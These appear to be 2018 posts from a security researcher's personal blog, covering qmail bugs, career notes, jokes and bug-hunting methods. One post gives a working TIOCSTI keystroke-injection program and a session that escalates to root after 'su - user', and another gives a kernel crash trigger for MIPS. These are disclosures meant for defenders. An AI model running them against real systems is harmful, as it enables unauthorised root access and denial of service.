Sun Jul 1 19:00:40 EEST 2018

coverity scan of qmail -- 53 potential defects (with false positives)


coverity scan of qmail -- 53 potential defects (with false positives)

coverity is commercial static source code analyzer accepting some
open source projects for free.

Did a scan of djb's qmail, the results are at:

https://scan.coverity.com/projects/qmail


the tool gave only 53 defects. Quick scan suggests that the non-false
positives are logically dead code or file race conditions (might be wrong about this).

to access the defects, you will need coverity account (free,
captchas).

djb is giving monetary bounty for qmail, owing me a bounty he couldn't
reproduce because of lack of virtual memory on old freebsd ;)


Posted by djb owes me a bounty | Permanent link

Sat Jun 30 09:19:47 EEST 2018

BUG_ON() on mips kernels 4.17.2 and earlier (old but alive)

BUG_ON() on mips kernels 4.17.2 and earlier (old but alive)

This is old but alive.

On mips kernel 4.17.2 and earlier unprivileged user can trigger
BUG_ON() possibly causing denial of service on the whole machine.

Suggested patches from 2013 are in the thread at:
https://www.spinics.net/lists/mips/msg73398.html


in 4.17.2 ./kernel/exit.c

do_group_exit(int exit_code)
{
        struct signal_struct *sig = current->signal;

        BUG_ON(exit_code & 0x80);

|do_group_exit| is called from

./kernel/signal.c:2482:         do_group_exit(ksig->info.si_signo);

Appears to me si_signo can be 0x80 (in decimal 128) because of:

arch/mips/include/uapi/asm/signal.h:15:#define _NSIG            128

Probably testcase will be:
$kill -128 `pidof program`


Posted by BUG ON | Permanent link

Wed Jun 13 12:25:34 EEST 2018

Ancient "su - hostile" vulnerability in debian 8 and 9

Ancient "su - hostile" vulnerability in debian 8 and 9

Just FYI.

Warning: This is rather old, since at least 2005, probably
much earlier. Check the links at:
http://www.openwall.com/lists/oss-security/2018/06/12/2

Summary: Doing "su - hostile" in debian 8 and 9 may lead
to root privilege escalation. Default sudo -u probably is
affected too.

Per chat with some admins they use su - user.

Session:

root@machine1:~# su - guest4
guest4@machine1:~$ (sleep 10; /tmp/a.out id) &
[1] 4737
guest4@machine1:~$ exit
logout
### just wait
root@machine1:~# id
uid=0(root) gid=0(root) groups=0(root)
root@machine1:~# cat /tmp/tty.c 
/*
 *
 * https://unix.stackexchange.com/questions/48103/construct-a-command-by-putting-a-string-into-a-tty
 * */
#include <sys/ioctl.h>
#include <termios.h>
#include <stdio.h>
#include <stdlib.h>

void stackchar(char c)
{
  if (ioctl(0, TIOCSTI, &c) < 0) {
    perror("ioctl");
    exit(1);
  }
}
int main(int argc, char *argv[])
{
  int i, j;
  char c;

  for (i = 1; i < argc; i++) {
    for (j=0; (c = argv[i][j]); j++) {
      stackchar(c);
    }
    stackchar('\n');
  }
  exit(0);
}

Posted by su do we | Permanent link

Tue Jun 12 12:51:05 EEST 2018

Are `su user' and/or `sudo -u user sh' considered dangerous?

Are `su user' and/or `sudo -u user sh' considered dangerous?

Per vague memory I discussed half of this with some linux crowd and
they said "won't fix" long ago.

`su user' and `sudo -u user sh' give the user the fd of root's tty
and it is readable and writable. After closing the session, the
user can keep it and on root's tty potentially do:

1. inject keypresses via ioctl()
and/or
2. read the output of root's tty, probably with some analogue of
tee(1).

Is this really a concern?

Any workarounds?


Posted by sudo su - root | Permanent link

Wed Jun 6 16:20:52 EEST 2018

Near death experience

Near death experience

Long ago I have lost consciousness. According to the doctors' logs
have been very close to death. To my surprise I have memories about
this time: Flying in a tunnel with very strange lights and everything
was super calm. Never saw such lights even in computer games. The
closest of one of lights is the light of eyes examination with light
source and pupils widened.

Wikipedia has a page "Near death experience". Looks like establishment
science has some interest in this stuff, lol.

Posted by nde | Permanent link

Thu May 31 16:18:27 EEST 2018

joke 2018-05-31

What is your sexual fantasy?
He dies during sex and leaves me $150M USD

Posted by joke | Permanent link

Mon May 28 13:55:32 EEST 2018

Stories from the past: the qmail-smtpd on freebsd exploit


Stories from the past: the qmail-smtpd on freebsd exploit

The qmail smtpd exploit on freebsd is probably the most bragable 
of my exploits. The advisory is at [1] and is rather short.
Don't remember it is so because of "if it was hard to write, it must be
hard to understand".

I don't like this exploit much, the *BSD kernel stuff is better IMHO.

The provably exploitable part of the advisory is:
---
char *p;
int i; /*XXX signed int*/
...
p[i]=0;
---

In case $i$ is negative, this is out of bounds write. It is not
integer overflow, more like memory corruption.

The process of discovery was rational [^2] dirty labour:
1. analyze
2. test
3. in case of failure (almost surely it fails) repeat
4. return SUCCESS

The process took _long_. Temporary gave up several times, until I
pressed the lucky keys.

Exploitability required about 20GB of virtual memory.

djb basically replied: "This is not a bug, this is a feature. Nobody gives so
much virtual memory to qmail".

The strongest counterclaims to djb's answer are:
1. The installation instructions don't mention limits
2. In the future libc alone can become larger than the limits

[1] http://www.guninski.com/where_do_you_want_billg_to_go_today_4.html
[^2]: in math irrational and transcendental stuff are more interesting
than rational stuff.


Posted by qmail-smtpd | Permanent link

Tue May 15 14:41:04 EEST 2018

Open letter to HRs


Hi HR,

You are a proxy recruiter, right?

Assuming so I appear to be the ``product''.

Here is a brief summary of the product: I was active in security in the period
1997-2007, mainly disclosing my 0days. Per my estimate was in top 3%
overall of the public hacking scene (this might be far off in both
directions). 
During roughly this time was Netscape/Mozilla independent security consultant,
mainly pre-0days and advice for the Firefox browser.
Then I went on a vacation, mainly enjoying life and doing
experimental mathematics as a hobby.

I am considering return in the IT stuff.

Some of the things I DO NOT do currently:
1. 0days (AKA security bug hunting)
2. working with products of microsoft (don't like MS).
3. relocation from Sofia, Bulgaria (it is in the EU).

Some of the things I would like to do (not all applicable for you):
1. Experimental mathematics/data analysis
2. Software quality assurance (QA)
3. Hardening systems
4. Privacy research
5. Some security research without 0days
6. Possibly software development
7. Possibly security consulting

In all non-trivial stuff I have done I am self taught, education
didn't help much.

CV: http://j.ludost.net/resumegg.pdf

Georgi Guninski

Posted by joro | Permanent link

Thu Apr 26 12:30:40 EEST 2018

My brother's emails


Just for a backup contact, my brother's emails are:

aguninski@gmail.com
sashog@yahoo.com


Posted by joro | Permanent link

Wed Feb 21 15:43:03 EET 2018

Types of security bugs by methodology of discovery


Types of security bugs by methodology of discovery

Draft: Wed Feb 21 13:35:57 UTC 2018

Here are some types of security bugs by methodology of discovery that work for me,
your mileage may wary

1. Fuzzing
2. Source code auditing
2.1 When you know that to look for
2.2 When you don't know that to look for
3. Opportunistic black box attacks
4. Bugs out of nowhere

Some details.

1. Fuzzing
This is easiest. Run a fuzzer and wait, usually for SEGV.
The hard part is writing the fuzzer and making exploit from a messy testcase.

2. Source code auditing
2.1 When you know that to look for

Run a grep(1) or something better like semantic grep or some kind of source analyzer.
Usually you are looking for low hanging fruit like strcpy(3) or something like it.
Second by ease.

2.2 When you don't know that to look for

Carefully examine the source code looking for “anomalies”.
Run the code in your head, not necessarily rigorously.
If the codebase is large split by subcomponents, the interaction between them
is complicated stuff.
To some extent it could be automated, but logical errors are likely uncaught.
Example of this approach is the qmail signedness bug

3. Opportunistic black box attacks
Examples of these are almost? all my internet explorer bugs.
Treat the program as a black box and try random stuff, carefully observing
small changes in the system and side effects.
Difficult to succeed. Resembles catching fish in a pool.

4. Bugs out of nowhere

No joke. These are so rare they border with non-existence.
I claim they exist.
Read some documentation and optionally if possible browse some source
code.
Then relax without computer thinking about whatever you wish.
If you are lucky, potential bug will pop up in your head.
Verify the reality of the bug on a computer.
For me relaxation with beer greatly increases the potential bugs and the false positives.

Posted by ^-^ | Permanent link